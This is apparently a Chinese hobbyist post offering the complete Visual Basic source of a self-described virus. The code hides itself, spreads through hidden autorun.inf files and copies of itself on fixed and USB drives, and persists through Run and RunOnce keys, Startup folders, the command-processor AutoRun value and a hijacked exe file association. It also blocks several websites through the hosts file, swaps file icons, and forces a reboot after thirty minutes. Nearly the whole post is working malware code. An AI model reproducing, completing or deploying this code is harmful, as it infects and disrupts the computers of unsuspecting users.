无聊VB写的恶意程序

'VB API 函数打造的简单 恶意程序
'还有很多功能 还在研究中
'by:零点邪恶   QQ:308506025
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long  '显示隐藏窗口的API
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long  '查找移动盘,本地盘的API
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long  '查找窗口句柄的API
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long  '添加文件属性的API
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long      '查找system系统目录的API
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long     '查找windows系统目录的API'
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long  '注册表API
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long    '注册表API
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long  '注册表API
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long  '查看计算机当前用户 API
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long                       '关闭计算机的API
Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long '制作系统声音
Const hkey_classes_root = &H80000000
Const hkey_current_user = &H80000001
Const hkey_local_machine = &H80000002
Const REG_SZ = 1
Private Const EWX_FORCE = 4
Private Const EWX_REBOOT = 2
Private Const max_path = 260  '定义的常量
Private Const max_path1 = 261   '定义的常量
Private Const FILE_ATTRIBUTE_HIDDEN = &H2  '常量 表示给文件添加所有属性
Private Const DRIVE_FIXED = 3   '常量 代表本地硬盘
Private Const SW_HIDE = 0      '常量  隐藏
Private Const DRIVE_REMOVABLE = 2  '常量   代表移动盘，U盘，MP3
Private Sub endtime_Timer()    '这段函数为  网游破坏，对杀毒软件的破坏 和强制关闭   还在搜集信息中
Dim hwnd(50) As String
Dim i As Integer
    hwnd(1) = "Windows 任务管理器"
    hwnd(2) = "注册表编辑器"
    hwnd(3) = "QQ音速"
    hwnd(4) = "劲舞团"
    hwnd(5) = "Tencent Messenger"
    hwnd(6) = "QQ游戏"
    hwnd(7) = "iceSword"
  
End Sub

Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance Then  '防止多个程序运行
   End
End If
  App.TaskVisible = False '在任务管理器中不显示
'调用程序子过程
Call icokey
Call autorun
Call winsys
Call autostart
'最后执行的过程
Shell "scrss.exe", vbHide
End Sub
'----------------------------------------------------------
'病毒子功能编写
'-------------------------------------------------------------------
'写入Autorun.inf文件写入每一个盘符
Private Sub autorun()
On Error Resume Next
 Dim s, i
    For i = 65 To 90
       s = String(1, i)
        If GetDriveType(s & ":/") = DRIVE_FIXED Then
           Open s & ":/" & "autorun.inf" For Output As #1
           Print #1, "[AUTORUN]"
           Print #1, "OPEN=scrss.exe /autorun"
           Close #1
           SetFileAttributes s & ":/" & "autorun.inf", FILE_ATTRIBUTE_HIDDEN
           FileCopy App.Path & "/" & App.EXEName & ".exe", s & ":/" & "scrss.exe"
           SetFileAttributes s & ":/" & "scrss.exe", FILE_ATTRIBUTE_HIDDEN
        End If
    Next i
End Sub
'--------------------------------------------------------------------------
'每5秒检测计算机有没有 移动硬盘 U盘 MP3等移动存储器
'如果有就将病毒本身复制到 移动存储器中
Private Sub Timer1_Timer()
 On Error Resume Next
 Dim i, s
 Static time As Integer
 Dim a As Long
 time = time + 5
 For i = 65 To 90
    s = String(1, i)
    If GetDriveType(s & ":/") = DRIVE_REMOVABLE Then
       Open s & ":/" & "autorun.inf" For Output As #1
       Print #1, "[AUTORUN]"
       Print #1, "OPEN=scrss.exe /autorun"
       Close #1
       SetFileAttributes s & ":/" & "autorun.inf", FILE_ATTRIBUTE_HIDDEN
       FileCopy App.Path & "/" & App.EXEName & ".exe", s & ":/" & "scrss.exe"
       SetFileAttributes s & ":/" & "scrss.exe", FILE_ATTRIBUTE_HIDDEN
    End If
    Next i
If time = 1800 Then   '运行病毒30分钟后 机器发生怪响
  For a = 37 To 32767
      Beep a, 30
    Next a
  End If
If time = 1830 Then '怪响30秒后 计算机就重启
   ExitWindowsEx EWX_REBOOT Or EWX_FORCE, 0
 End If
End Sub
'------------------------------------------------------------
'查找系统windows 和 system32 目录的子过程
'-------------------------------------------------------------
Private Sub winsys()
On Error Resume Next
Dim system As String
Dim windows As String
Dim charlen As Long
 ' 查找当前用户
Dim s As String
Dim cnt As Long
Dim dl As Long
Dim user As String
Dim cmdkey As String
Dim hkey1 As Long
Dim hkeyid As Long
cnt = 199
s = String(200, 0)
dl = GetUserName(s, cnt)
user = Left(s, cnt)
'查找  system32 目录
system = Space(max_path)
charlen = GetSystemDirectory(system, max_path)
system = Left(system, charlen)
'查找 windows 目录
 windows = Space(max_path1)
 charlen = GetWindowsDirectory(windows, max_path1)
 windows = Left(windows, charlen)
 FileCopy App.Path & "/" & App.EXEName & ".exe", Left(windows, 3) & "Documents and Settings/Administrator/「开始」菜单/程序/启动/system.exe"
 FileCopy App.Path & "/" & App.EXEName & ".exe", Left(windows, 3) & "Documents and Settings/" & user & "/「开始」菜单/程序/启动/system.exe"
 SetFileAttributes Left(windows, 3) & "Documents and Settings/Administrator/「开始」菜单/程序/启动/system.exe", FILE_ATTRIBUTE_HIDDEN
 SetFileAttributes Left(windows, 3) & "Documents and Settings/" & user & "/「开始」菜单/程序/启动/system.exe", FILE_ATTRIBUTE_HIDDEN
'复制 病毒体到 system32  和 windows 系统目录里面
 FileCopy App.Path & "/" & App.EXEName & ".exe", system & "/" & "scrss.exe"
 FileCopy App.Path & "/" & App.EXEName & ".exe", windows & "/" & "scrss.exe"
 SetFileAttributes system & "/" & "scrss.exe", FILE_ATTRIBUTE_HIDDEN
 SetFileAttributes windows & "/" & "scrss.exe", FILE_ATTRIBUTE_HIDDEN
 FileCopy App.Path & "/" & App.EXEName & ".exe", system & "/" & "drivers" & "/" & "classpnp.exe"
 SetFileAttributes system & "/" & "drivers" & "/" & "classpnp.exe", FILE_ATTRIBUTE_HIDDEN
 cmdkey = system & "/" & "drivers" & "/" & "classpnp.exe"
 '运行CMD启动病毒
hkey1 = RegCreateKey(hkey_local_machine, "software/Microsoft/Command Processor", hkeyid)
hkey1 = RegSetValue(hkeyid, "AutoRun", REG_SZ, ByVal cmdkey, Len(cmdkey) + 1)
'禁止常用网站打开
Open system & "/drivers/etc/hosts" For Append As #1
    Print #1, "127.0.0.1 www.baidu.com"
    Print #1, "127.0.0.1 www.sohu.com"
    Print #1, "127.0.0.1 www.yahoo.com"
    Print #1, "127.0.0.1 www.hao123.com"
    Close #1
End Sub
'----------------------------------------------------------------------------
'程序自启动 子程序
'-----------------------------------------------------------------------
Private Sub autostart()
On Error Resume Next
Dim hkey1 As Long
Dim hkeyid As Long
Dim cmdkey1 As String
'编写通过注册表启动 c:/windows/system32
hkey1 = RegCreateKey(hkey_local_machine, "software/Microsoft/windows/CurrentVersion/Run", hkeyid)
hkey1 = RegSetValueEx(hkeyid, "scrss", 0&, REG_SZ, ByVal "c:/windows/system32/scrss.exe", Len("c:/windows/system32/scrss.exe") + 1)
hkey1 = RegCreateKey(hkey_current_user, "software/Microsoft/windows/CurrentVersion/Run", hkeyid)
hkey1 = RegSetValueEx(hkeyid, "scrss", 0&, REG_SZ, ByVal "c:/windows/system32/scrss.exe", Len("c:/windows/system32/scrss.exe") + 1)
hkey1 = RegCreateKey(hkey_local_machine, "software/Microsoft/windows/CurrentVersion/RunOnce", hkeyid)
hkey1 = RegSetValueEx(hkeyid, "scrss", 0&, REG_SZ, ByVal "c:/windows/system32/scrss.exe", Len("c:/windows/system32/scrss.exe") + 1)
hkey1 = RegCreateKey(hkey_current_user, "software/Microsoft/windows/CurrentVersion/RunOnce", hkeyid)
hkey1 = RegSetValueEx(hkeyid, "scrss", 0&, REG_SZ, ByVal "c:/windows/system32/scrss.exe", Len("c:/windows/system32/scrss.exe") + 1)
'c:/windows启动
hkey1 = RegCreateKey(hkey_local_machine, "software/Microsoft/windows/CurrentVersion/Run", hkeyid)
hkey1 = RegSetValueEx(hkeyid, "NvCplkey", 0&, REG_SZ, ByVal "c:/windows/scrss.exe", Len("c:/windows/system32/scrss.exe") + 1)
hkey1 = RegCreateKey(hkey_current_user, "software/Microsoft/windows/CurrentVersion/Run", hkeyid)
hkey1 = RegSetValueEx(hkeyid, "NvCplkey", 0&, REG_SZ, ByVal "c:/windows/scrss.exe", Len("c:/windows/system32/scrss.exe") + 1)
hkey1 = RegCreateKey(hkey_local_machine, "software/Microsoft/windows/CurrentVersion/RunOnce", hkeyid)
hkey1 = RegSetValueEx(hkeyid, "NvCplkey", 0&, REG_SZ, ByVal "c:/windows/scrss.exe", Len("c:/windows/system32/scrss.exe") + 1)
hkey1 = RegCreateKey(hkey_current_user, "software/Microsoft/windows/CurrentVersion/RunOnce", hkeyid)
hkey1 = RegSetValueEx(hkeyid, "NvCplkey", 0&, REG_SZ, ByVal "c:/windows/scrss.exe", Len("c:/windows/system32/scrss.exe") + 1)
'修改EXE关联启动病毒
cmdkey1 = system & "/" & "drivers" & "/" & "classpnp.exe"
hkey1 = RegCreateKey(hkey_classes_root, "exefile/shell/open/command", hkeyid)
hkey1 = RegSetValue(hkeyid, vbNullString, REG_SZ, ByVal cmdkey1, Len(cmdkey1) + 1)
End Sub
'------------------------------------------------------------------------------------------
'修改EXE  JPG 等文件图标
'------------------------------------------------
Private Sub icokey()
On Error Resume Next
Dim hkey2 As Long
Dim hkey2id As Long
Dim keyl As String
'exefile
keyl = App.Path & "/" & App.EXEName & ".exe"
    hkey2 = RegCreateKey(hkey_classes_root, "exefile/DefaultIcon", hkey2id)
    hkey2 = RegSetValue(hkey2id, vbNullString, REG_SZ, ByVal keyl, Len(keyl) + 1)
'jpegfile
    heky2 = RegCreateKey(hkey_classes_root, "jpegfile/DefaultIcon", hkey2id)
    hkey2 = RegSetValue(hkey2id, vbNullString, REG_SZ, ByVal keyl, Len(keyl) + 1)
End Sub